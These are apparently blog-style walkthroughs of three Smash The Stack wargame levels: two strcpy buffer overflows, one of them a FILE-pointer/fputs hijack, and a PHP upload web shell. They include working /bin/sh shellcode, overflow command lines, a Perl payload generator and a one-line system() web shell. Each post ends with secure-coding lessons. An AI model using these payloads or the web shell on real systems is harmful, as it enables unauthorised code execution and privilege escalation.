Logic Level 2 – Security Is Only As Strong As The Weakest Link

Welcome back to Technolution. Today we’re going to be looking at level2 of the Logic wargame, hosted on the Smash The Stack network. Level2 is a shell based level and required the password aquired through level1. As always, if you want to follow a long, please use your password to login to level2. Also, the password at the end of the level will be stripped out and replaced with Y’s. So without further delay, let’s get started!

Logging into level2 we get a message that all levels are in the /levels directory. There we can jump to the level2 directory and get a listing to see the files for the level:

[level2@logic level2]$ ls
level2 level2_alt level2.c
[level2@logic level2]$ more level2.c
/*
Password has been blanked out of the source. Enjoy 🙂

Level
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int main(int argc, const char **argv) {
if (argc < 2) { printf(“Fail. More Args…\n”); return 1; }
else {
setresuid(geteuid(),geteuid(),geteuid());
char buf2[4096];
char buf[16];
const char password[]=”XXXXXXXXXXX”;
strncpy(buf, argv[1], sizeof(buf) – 1);
if (strcmp(buf,password) != 0) {
printf(“Wrong.\n”);
return 1;
}
else {
strcpy(buf2,argv[2]);
printf(“%s”,buf2);
return 0;
}
}
}

Looking at the source we see we need to supply 2 arguments, a password to be put into buf and compared to the password char array, and another string to be put into buf2 (un-safely I might add, so we can cause a buffer overflow). In an attempt to see what value might be in the password array, let’s check the strings in the compiled program:

[level2@logic level2]$ strings level2
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
strcpy
strncpy
printf
setresuid
geteuid
strcmp
__libc_start_main
GLIBC_2.0
PTRh
QVhl
[^_]
Fail. More Args…
ZZZZZZZZZZZ
Wrong.

There are 11 X’s in the source. The 2nd to last string is 11 chars long. Coincidence? Probably not…. So, this is probably the first argument we need to supply to the program. The next argument will take a little further investigation as it looks like we need to exploit a buffer overflow and probably hijack the return address (especially since there is a return call closely after the vulnerable string copy call).

So, let’s get some shell code and place it into an environmental variable for easy access:

export SHELLCODE=$’\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb\x89\xd8\xb0\x2e\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80′

Next, let’s write a small c program to get the memory address of our shellcode:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
if(!argv[1])
exit(1);
printf(“%#x\n”, getenv(argv[1]));
return 0;
}

[level2@logic s9]$ ./t SHELLCODE
0xbfffdc7b

Now that we have the address of the shellcode we want to execute, let’s write our buffer overflow that points to our shellcode:

[level2@logic level2]$ ./level2 ZZZZZZZZZZZ `perl -e ‘print “A”x4108,”\x7b\xdc\xff\xbf”‘`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsh-3.2$ whoami
level3
sh-3.2$ more ~/.pass
YYYYYYYYYY

Tada, buffer overflow exploited! Return address over-written! Lesson of the day is to always verify user input AND to use safe copy functions when filling arrays/buffers. The correct function (strncpy(3)) was used for buf and argv[1], however strcpy(2) is vulnerable to buffer overflows and was used for buf2 and argv[2].

Posted in Logic, Smash The Stack, Wargames | Tagged , , , , | Leave a comment

Logic Level 1 – Never Trust Your Users

Welcome back to Technolution! Today we’re going to be starting the Logic wargame, hosted on the Smash The Stack network. As always, passwords will be stripped and replaced with Y’s. So without further adieu, let’s get started.

Starting Logic, we should visit it’s main page. This page links us to level1 which is running as a website hosted on the wargame server. This website takes a file and uploads it to a directory called “uploads”. Well, since the uploads directory sounds like it’s within the http directory, let’s make the assumption that we can execute php files in there since the upload file is a php file itself. Thus, let’s create a php file which, when we visit it, will let us execute commands on the webserver. Let’s use the following today:

<?php
echo system($_GET[“h”]);
?>

Before discussing this file, I’d like to take a moment to discuss the choice of using a php file with a system() call.  There are many options one could take when allowed to upload a file, however, I feel this is the most reliable.  We know we’re running on a web server, that php is enabled, and that web traffic is allowed through any firewall rules.  This makes php with system() call access via HTTP a strong vector of attack.  Another option would be to upload a binary of something such as netcat, or try and call netcat, ssh, or various other programs through your uploaded file.  While this is an option, there may be things (such as firewall rules, already bound ports, etc) which may make these vectors less reliable.  Thus, in this example, we’ll continue on with our simple php system() call file.

As stated, this file simply takes a parameter called “h” via the URL supplied GET parameters and sends it as a command to the system() call function. It then prints the output of the command. Go a head and save that as a php file and upload it onto the webserver. Then, go to the uploads directory and access the file you just uploaded (we’ll be using s9.php as our filename in this example). To test it, let’s check the current directory with the print working directory command (pwd). To do this, vistit the page and pass this command as the value for the “h” parameter:

http://logic.smashthestack.org:8181/uploads/s9.php?h=more%20/home/level1/.bash_history
/srv/www/level1/uploads /srv/www/level1/uploads

Great, it works! A couple things to note, we get an extra repeat of the last output as the system command flushes the output buffer in php (hence the repeat at the end). Also, there isn’t a line break (since we’re viewing in a web browser which requires the html <br> tags or similar). To make line breaks show, try viewing the page’s source!

Next, let’s check what user the web server is running as with the “id” command:

http://logic.smashthestack.org:8181/uploads/s9.php?h=id
uid=601(level1) gid=601(level1) groups=601(level1),615(nosu) uid=601(level1) gid=601(level1) groups=601(level1),615(nosu)

Great, we’re running as level1. Let’s go a head and check out level1’s home directory:

view-source:http://logic.smashthestack.org:8181/uploads/s9.php?h=ls%20-la%20/home/level1
total 52
drwxr-xr-x 2 level1 level1 4096 Oct 16 2010 .
drwx–x–x 21 root root 4096 Aug 9 2010 ..
-rw-r–r– 1 root level1 43 Sep 19 2010 .bash_history
-rwxr-x— 1 root level1 1708 Feb 5 2010 .bash_profile
-r–r–r– 1 level1 level1 246 Oct 16 2010 README
-rw-r–r– 1 level1 level1 32304 Oct 13 13:23 tags
-rw-r–r– 1 level1 level1 32304 Oct 13 13:23 tags

Let’s go and check out the README, see if we can figure out more information about the system:

view-source:http://logic.smashthestack.org:8181/uploads/s9.php?h=more%20/home/level1/README

::::::::::::::
/home/level1/README
::::::::::::::
Congrats on getting to the shell. Now you must find the password for level2.
Once you have found the password you can reconnect to the server as the
level2 user:

ssh -p 2227 logic.smashthestack.org -l level2
You need not look far from home.
You need not look far from home.

Already congratulating us on shell access, well I guess we kind of have shell access! Hmm, I wonder what this “you need not look far from home” stuff is about. If we get a directory listing of /home/level2 we can find a .pass file, however we don’t have permissions to read it!

view-source:http://logic.smashthestack.org:8181/uploads/s9.php?h=ls%20-la%20/home/level2
total 24
drwxr-xr-x 2 level2 level2 4096 Apr 26 2010 .
drwx–x–x 21 root root 4096 Aug 9 2010 ..
-rwxr-x— 1 root level2 1708 Feb 5 2010 .bash_profile
-r——– 1 level2 level2 9 Apr 26 2010 .pass
-rw-r–r– 1 level2 level2 7253 Oct 13 14:36 tags
-rw-r–r– 1 level2 level2 7253 Oct 13 14:36 tags

So, looking back at level1, and knowing we haven’t found the password and that we haven’t logged into the shell, and we haven’t caused any changes to .bash_history, let’s look at the contents of the bash history to see what was last done in September of 2010 (two years ago at the point of writing).

view-source:http://logic.smashthestack.org:8181/uploads/s9.php?h=more%20/home/level1/.bash_history

::::::::::::::
/home/level1/.bash_history
::::::::::::::
ls
who
cat README
YYYYYYYY
clear
su level2
su level2

Well that’s somewhat interesting. Noticing that .pass of level2 is 9 bytes, including EOF marker, which would make for an 8 byte password, I wonder if that’s just coincidence for the 8 character string in bash_history before someone switched users to level2. To check, we can try to ssh into level2 and check that string as the password:

login as: level2

Problems connecting? Visit us on IRC at irc.smashthestack.org
(port +6697) in channel #logic. Or email mh@smashthestack.org
Level1 is not accessed via SSH. Please find it online at:
http://logic.smashthestack.org:8181/index.html

level2@logic.smashthestack.org’s password:

[level2@logic ~]$

Tada! There we have it, level1 of logic complete! So, what’s the lesson here? Don’t trust users? Don’t let users upload arbitrary files? Don’t let users upload files to a place where they can be executed? Maybe all of the above.  Also, if you happen to reveal important things, such as passwords (practical example would be mysqldump or other commands that take a password as a command line argument in plain text), remember that this information is saved in (and should be cleared from) logs such as .bash_history!

Posted in Logic, Smash The Stack, Wargames | Leave a comment

Blackbox Level 6 – Overflowing File Pointers and Vulnerable fputs

In today’s post, we’re going to be taking a look at level 6 of the Blackbox wargame, provided by the Smash The Stack network.  As usual, the final password of the level will be stripped and replaced with Y’s.  If you wish to follow along at home, please go a head and log into blackbox now.  To get started, a quick list of the home directory shows a level7 file called fsp.  This must be our vulnerable executable.  Since there is no source code provided, we will be looking at the assembly today.  Let’s go a head and load the program up in gdb and get a dissassembly of main.  I’ve added a few comments to help make quicker sense of what’s going on:

(gdb) disass main
Dump of assembler code for function main:
0x08048444 <main+0>: lea 0x4(%esp),%ecx
0x08048448 <main+4>: and $0xfffffff0,%esp
0x0804844b <main+7>: pushl 0xfffffffc(%ecx)
0x0804844e <main+10>: push %ebp
0x0804844f <main+11>: mov %esp,%ebp
0x08048451 <main+13>: push %ecx
0x08048452 <main+14>: sub $0x434,%esp
0x08048458 <main+20>: mov %ecx,0xfffffbd8(%ebp) –five argv? argv[1] or is this argc? because of the cmpl at main+74? value of ecx is 0xbfffdab0, holds value 2 when ran with 1 arg, 4 when ran with 3 args, must be argc.
0x0804845e <main+26>: mov 0x8048636,%eax
0x08048463 <main+31>: mov %eax,0xffffffe7(%ebp) –“No segfault yet\n”
0x08048466 <main+34>: mov 0x804863a,%eax
0x0804846b <main+39>: mov %eax,0xffffffeb(%ebp) —
0x0804846e <main+42>: mov 0x804863e,%eax
0x08048473 <main+47>: mov %eax,0xffffffef(%ebp) —
0x08048476 <main+50>: mov 0x8048642,%eax
0x0804847b <main+55>: mov %eax,0xfffffff3(%ebp) —
0x0804847e <main+58>: movzbl 0x8048646,%eax
0x08048485 <main+65>: mov %al,0xfffffff7(%ebp)
0x08048488 <main+68>: mov 0xfffffbd8(%ebp),%eax
0x0804848e <main+74>: cmpl $0x1,(%eax) –is argc > 1?
0x08048491 <main+77>: jg 0x80484ba <main+118>
0x08048493 <main+79>: mov 0xfffffbd8(%ebp),%edx
0x08048499 <main+85>: mov 0x4(%edx),%eax
0x0804849c <main+88>: mov (%eax),%eax
0x0804849e <main+90>: mov %eax,0x4(%esp)
0x080484a2 <main+94>: movl $0x8048618,(%esp)
0x080484a9 <main+101>: call 0x8048348 <printf@plt>
0x080484ae <main+106>: movl $0xffffffff,(%esp)
0x080484b5 <main+113>: call 0x8048358 <exit@plt> –exit if argc <= 1
0x080484ba <main+118>: movl $0x804862f,0x4(%esp) –0x804862f <_IO_stdin_used+27>: “a”
0x080484c2 <main+126>: movl $0x8048631,(%esp) –0x8048631 <_IO_stdin_used+29>: “temp”
0x080484c9 <main+133>: call 0x8048368 <fopen@plt> –a Open the file for appending (i.e. new data is added at the end). Creates a new file if it doesn’t already exist
–temp is file name
0x080484ce <main+138>: mov %eax,0xfffffff8(%ebp) –save file pointer
0x080484d1 <main+141>: mov 0xfffffbd8(%ebp),%edx –argc
0x080484d7 <main+147>: mov 0x4(%edx),%eax –argv
0x080484da <main+150>: add $0x4,%eax –argv[1]
0x080484dd <main+153>: mov (%eax),%eax –address of argv[1] string is in eax
0x080484df <main+155>: mov %eax,0x4(%esp) –argv[1] string address goes on stack as parameter (end paremeter for strcpy, the source)
0x080484e3 <main+159>: lea 0xfffffbe7(%ebp),%eax –let’s assume it’s some buffer, buf
0x080484e9 <main+165>: mov %eax,(%esp) –place as destination for strcpy
0x080484ec <main+168>: call 0x8048388 <strcpy@plt> –strcpy from argv[1] to buf (UNSAFE US OF STRCPY!!!! BUFFER OVERFLOW!!!!)
0x080484f1 <main+173>: mov 0xfffffff8(%ebp),%eax –file opened by fopen (“temp”)
0x080484f4 <main+176>: mov %eax,0x4(%esp) –put on stack as output of fputs
0x080484f8 <main+180>: lea 0xffffffe7(%ebp),%eax –“No segfault yet\n” (buf)
0x080484fb <main+183>: mov %eax,(%esp) –as first parameter for prints for source
0x080484fe <main+186>: call 0x8048328 <fputs@plt>
0x08048503 <main+191>: movl $0x0,(%esp)
0x0804850a <main+198>: call 0x8048358 <exit@plt>
0x0804850f <main+203>: nop
End of assembler dump.

Looking at the assembly there are multiple things to note.  However the most blaring from a security perspective is the unsafe use of strcpy.  This program makes use of strcpy(2) which copies, un-restricted, from a source to a destination.  Even worse, it copies from a user-supplied source (argv[1] in this case), to a buffer in the program.  Based on this, we can see the program is vulnerable to a buffer overflow.  But let’s look closer to see what effects this overflow might be able to have.  Since the program doesn’t return, only makes exit calls, we won’t be able to easily overwrite a return address to gain control.  Thus, let’s look at the addresses and try to visualize the stack to see what we can overwrite.

High mem                                              ebp -0x8   -0x419
[argv][argc][ret][…][ret][saved ebp][args][fp][buf][…][args][…]

We can see that fp is after buf, and thus, if we overflow buf, we can overwrite fp.  So now there is a question developing.  If we can overwrite fp, how does this help us?  Where is fp used and how?  Well, let’s look further.  It seems that fp is used as one of the two arguments for fputs.  Thus, let’s look further into this fputs function to see how we might be able to alter it.  Getting a disassembly of fputs shows that it is a large function, but let’s start by looking at the beginning 141 or so instructions:

(gdb) disass fputs
Dump of assembler code for function fputs:
0x00d234a0 <fputs+0>: push %ebp
0x00d234a1 <fputs+1>: mov %esp,%ebp
0x00d234a3 <fputs+3>: sub $0x1c,%esp
0x00d234a6 <fputs+6>: mov %ebx,0xfffffff4(%ebp)
0x00d234a9 <fputs+9>: mov 0x8(%ebp),%eax –load parameter into eax (buf)
0x00d234ac <fputs+12>: call 0xce1d10 <free@plt+112> –free mem, enough for eax?
0x00d234b1 <fputs+17>: add $0xd7b43,%ebx
0x00d234b7 <fputs+23>: mov %esi,0xfffffff8(%ebp)
0x00d234ba <fputs+26>: mov 0xc(%ebp),%esi –move parameter into esi (fp)
0x00d234bd <fputs+29>: mov %edi,0xfffffffc(%ebp)
0x00d234c0 <fputs+32>: mov %eax,(%esp) –load buf as param for strlen
0x00d234c3 <fputs+35>: call 0xd38e30 <strlen> –strlen of buf
0x00d234c8 <fputs+40>: mov %eax,0xfffffff0(%ebp) –save parameter from eax onto ebp offset
0x00d234cb <fputs+43>: mov (%esi),%eax —
0x00d234cd <fputs+45>: and $0x8000,%eax —
0x00d234d2 <fputs+50>: test %ax,%ax –AND arguments. If the result of the AND is 0, the ZF is set to 1, otherwise set to 0.
0x00d234d5 <fputs+53>: jne 0xd2350b <fputs+107> –jump if ZF == 0.

0x00d234d7 <fputs+55>: mov 0x48(%esi),%edx
0x00d234da <fputs+58>: mov %gs:0x8,%edi
0x00d234e1 <fputs+65>: cmp 0x8(%edx),%edi
0x00d234e4 <fputs+68>: je 0xd23508 <fputs+104>
0x00d234e6 <fputs+70>: xor %eax,%eax
0x00d234e8 <fputs+72>: mov $0x1,%ecx
0x00d234ed <fputs+77>: cmpl $0x0,%gs:0xc
0x00d234f5 <fputs+85>: je,pt 0xd234f9 <fputs+89>
0x00d234f8 <fputs+88>: lock cmpxchg %ecx,(%edx)
0x00d234fc <fputs+92>: jne 0xd235fa <fputs+346>
0x00d23502 <fputs+98>: mov 0x48(%esi),%edx
0x00d23505 <fputs+101>: mov %edi,0x8(%edx)
0x00d23508 <fputs+104>: incl 0x4(%edx)
–We can jump to here from above!
0x00d2350b <fputs+107>: cmpb $0x0,0x46(%esi) –check if 0x46th byte is 0x0
0x00d2350f <fputs+111>: je 0xd23584 <fputs+228> –if so, jump. We don’t want to jump.
0x00d23511 <fputs+113>: movsbl 0x46(%esi),%eax –move that byte into eax (size & sign extended [zero out padding])
0x00d23515 <fputs+117>: mov 0xfffffff0(%ebp),%edx –move value returned from strlen to edx
0x00d23518 <fputs+120>: mov 0x94(%esi,%eax,1),%eax –use byte in eax as index into an array starting at esi (the file pointer parameter) +0x94. Save this new array location in eax.
–save the value in that array at that index into eax
0x00d2351f <fputs+127>: mov %edx,0x8(%esp) –load buf as a parameter on stack for next function call
0x00d23523 <fputs+131>: mov 0x8(%ebp),%edx –load a value into edx (a parameter)
0x00d23526 <fputs+134>: mov %esi,(%esp) –load file pointer onto stack as parameter for next function call
0x00d23529 <fputs+137>: mov %edx,0x4(%esp) –load value from edx onto stack as parameter for function call
0x00d2352d <fputs+141>: call *0x1c(%eax) –call the function whos address is located at eax + 0x1c

From here we could continue getting lost in the function, or we could look at the call instruction at fputs+141 and try to take advantage of it.  We can see the instruction calls the function at eax+0x1c.  We can also see eax gets it’s value from esi and some offsets.  However, esi was holding a pointer to the file pointer!  This means that if we control the file pointer, we control what is pointed to, in turn we control the value eax will get, and ultimately, we control what address will be executed during the call instruction!  But let’s not get ahead of ourselves, we still don’t even know what the beginning of fputs does.

Starting from the top of fputs, we know we have two supplied parameters, the first being buf and the second being the file pointer. First, buf’s address is loaded into eax and free is called. Futher down, we can see that the file pointer is loaded into esi at fputs+26. Again, back to buf as it is loaded for a call to strlen and the result saved. Next, we get to an interesting control point. We can see the first four bytes are taken out of file pointer (which was stored in esi, remember). This long word is then bit-wise AND with 0x8000 and if the result is 0, the zero flag is set to 1. But if the result of the AND is not zero, the zero flag is set to 0. Lastly there is a jump on fputs+53 where if the zero flag is set to 0, the program will jump to fputs+107. So to cause the jump, we need the lower 2 bytes of eax, AKA ax, to not AND to zero, aka they need to have 0x8000 in their value.

Assuming we make the jump, since it is closer to the call instruction we wanted to reach, let’s look at fputs+107. Right away there is a test on the 0x46th byte of the file pointer checking if it is equal to 0x0. If it is 0x0, there is a jump to far away, so let’s try and avoid that by not allowing the 46th byte of the file pointer to be equal to 0x0. Next, that 46th byte is loaded into eax with size and sign extended (aka the rest of eax will be all zeros). Next, the old value we saved from the strlen function is loaded into edx. More importantly is what follows with eax. The value in eax is used as an index into an array starting at esi (good news, our file pointer we control) + 0x94. Ok, well we can arrange our file pointer to pretend we have an array at byte 0x94! Some values are added to the stack for paramters of the upcoming call. Finally call is executed on the function whos address is located at eax+0x1c. Well, I think we can take control of that by supplying our own function (shellcode), getting it’s address and controlling the file pointer!

So next, let’s think about the space we have to work with in buf, and how we can overwrite fp.  Looking, we can see fp was saved at 0xfffffff8(%ebp), and buf was accessed at 0xfffffbe7(%ebp).  So doing a little math (0xff8 – 0xbe7), buf is 0x411 bytes long.  Also, given that fp is our target, that it falls directly after buf, and that it’s a 4 byte pointer, we need to write a total of 0x411 + 0x4 = 0x415 bytes for our overload.  This seems like a large enough space to place some shellcode, so we may as well include it there.  Now that we’ve thought about the length, let’s look at the structure.  There are a few points to make sure of due to some of the checks in fputs, so let’s look at those to help define our sturcture.

  1. To pass the zero flag check at the beginning of fputs, our file pointer payload should start with 0x80008000.
  2. The 46th byte needs to be a value other than 0x00. Let’s simply choose 0x01.
  3. The 4 bytes at 0x94+0x01=0x95 should be a pointer (this is the array). For ease sake, make it point to 0x95+0x04=0x99.
  4. At 0x99+0x1c=0xb5 we should have another pointer (this is the function pointer). For ease sake, make it point to 0xb5+0x04=0xb9.
  5. Insert shellcode at 0xb9.
  6. After shellcode, write padding to fill buff to 0x411 bytes.
  7. Insert last 4 bytes to overwrite fp. Needs to be address of beginning of buf (address because it’s a pointer no duh).

One of the final unknowns at this point is that of memory addresses.  Since we’re using pointers, we need to know addresses.  Well, we can solve that by loading up gdb with a test argument and checking ebp.

level6@blackbox:~$ gdb fsp

(gdb) break main
Breakpoint 1 at 0x8048452
(gdb) run `perl -e “print ‘A’x1045″`
Starting program: /home/level6/fsp `perl -e “print ‘A’x1045″`

Breakpoint 1, 0x08048452 in main ()
(gdb) p $ebp
$1 = (void *) 0xbfffd688

Now we can assume this ebp isn’t going to change on our next run with the same length arguments.  This ebp is also only valid in runs with gdb, so when we execute this in the wild, we’ll have to do a few test runs with various guesses at ebp.  But, it’s good to know, gdb doesn’t make much overhead so the ebp’s will be close to each other.  Now let’s move on to writing our payload. Today I’m simply going to use perl to write up our payload.  Since we already talked about what is needed, let me just show the code, then go over it:

#!/usr/bin/perl

my $sh = “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb\x89\xd8\xb0\x2e\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80”;

print “\x80\x80\x80\x80”;
print “\x90″x66;
print “\x01”;
print “\x90″x78;
print “\x08\xd3\xff\xbf”;
print “\x90″x28;
print “\x28\xd3\xff\xbf”;
print $sh;
print “\x90″x804;
print “\x6f\xd2\xff\xbf”;

This should be extremely straight forward.  Basically, this script prints out the things we said we needed in the list above.  It starts by printing the hex values of 80808080 to defeat the zero flag test.  Next, it pads til byte 0x46, and then fills that byte with the value 0x01.  Following is more padding until the first pointer is writen, and then again more padding until the second pointer is writen.  The next line outputs the shellcode.  After the shellcode, the remaining padding is output.  Finally, the value of the pointer to the start of buf is printed and the program is over.  One thing to note is that the pointers, p1, p2 and the pointer to buf, are all hard coded and calculated based on the ebp we got above.  These calculations are based on the following convention:

ebp = 0xbfffd688
buf = $ebp – 0x419
p1 = $buf + 0x99
p2 = $buf + 0xb9
Therefore,
p1 = 0xbfffd308
p2 = 0xbfffd328
buf pointer = 0xbfffd26f

It should be pointed out that the addition and subtration is based on where these values fall in memory, and will not change.  However, outside of gdb, ebp will change and will alter our other memory values.  But, for now, let’s go a head and try to run this in gdb and see what happens!

level6@blackbox:/tmp/.ttt$ gdb ~/fsp
(gdb) run `perl /tmp/.ttt/t2.p`
Starting program: /home/level6/fsp `perl /tmp/.ttt/t2.p`
sh-3.1$

